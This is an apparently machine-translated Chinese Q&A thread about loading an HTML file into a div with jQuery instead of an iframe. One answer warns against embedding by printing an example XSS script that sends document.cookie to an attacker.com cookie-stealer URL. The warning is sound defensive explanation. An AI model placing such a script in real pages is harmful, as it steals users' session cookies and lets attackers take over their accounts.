在一个div显示HTML文件(display html file in a div)

我一直在试图寻找一种方式来做到这一点，因为我敢肯定有数百个网站解释，但我只是不能字是正确的所以我所有的搜索想出别的东西。

所以，我很抱歉，如果这已被问过很多次。

不管怎样，我想要做的是加载一个页面“page.html中”一个div内。该页面只是有文字而已。因此，而不是使用iframe的我希望加载这个页面的DIV中，以便它只会显示该网页上的文字。

我已经试过了我我的搜索等过程中发现了一些不同的东西;

$(document).ready(function() {    
    $("div").load("page.html") 
});

但由于某些原因该方法改变了我的页，而不是该专区内的所有文本。（我在编码很可怕，所以我可能已经与该方法出了问题的地方）

所以，任何人都可以提出一种方式，不使用的iframe页面的内容加载一个div内。

Answer 1:

$('div')是要瞄准比你要寻找的。如果你想将内容加载到一个特定div元素，给它一个ID和目标这种方式。

<div id="pageContent"></div>

$(document).ready(function() { 
    $('#pageContent').load('page.html');
}

Answer 2:

简短的回答：不能。

龙答：可以，但是这将是困难的，容易出错，而且很大的安全隐患。

比方说，这是要在其中另一个嵌入页面：

<!DOCTYPE html public>
<html>
 <head>
  <title>My Page</title>
 </head>
 <body>
  <div id="embedMe"></div>
 </body>
</html>

于是，这里是网页嵌入内第一的代码：

<!DOCTYPE html public>
<html>
 <head>
  <title>My Embedded Page</title>
 </head>
 <body>
  <div id="content">
   Something interesting here...
  </div>
 </body>
</html>

然后，当它嵌入：

<!DOCTYPE html public>
<html>
 <head>
  <title>My Page</title>
 </head>
 <body>
  <div id="embedMe">
   <!DOCTYPE html public>
   <html>
    <head>
     <title>My Embedded Page</title>
    </head>
    <body>
     <div id="content">
      Something interesting here...
     </div>
    </body>
   </html>
  </div>
 </body>
</html>

你可以看到这个问题。你有两个html元素，二head S，2分body S，2 title秒，甚至是两个DOCTYPES 。这是一个仁慈的例子。假设攻击者可以更改页面的URL被嵌入到包含这一项：

<script type="text/javascript">
 window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie;
</script>

突然之间，你的用户抱怨有自己的账户侵入，并有责任在降落到你的sholders。这是XSS的一个简单的例子，而真正的攻击者可以掩盖它好得多。拜托，使用iframe。这就是他们的制作。

Answer 3:

$("#mydiv").load("myexternalfile.html");

试试这个链接

http://api.jquery.com/load/

文章来源: display html file in a div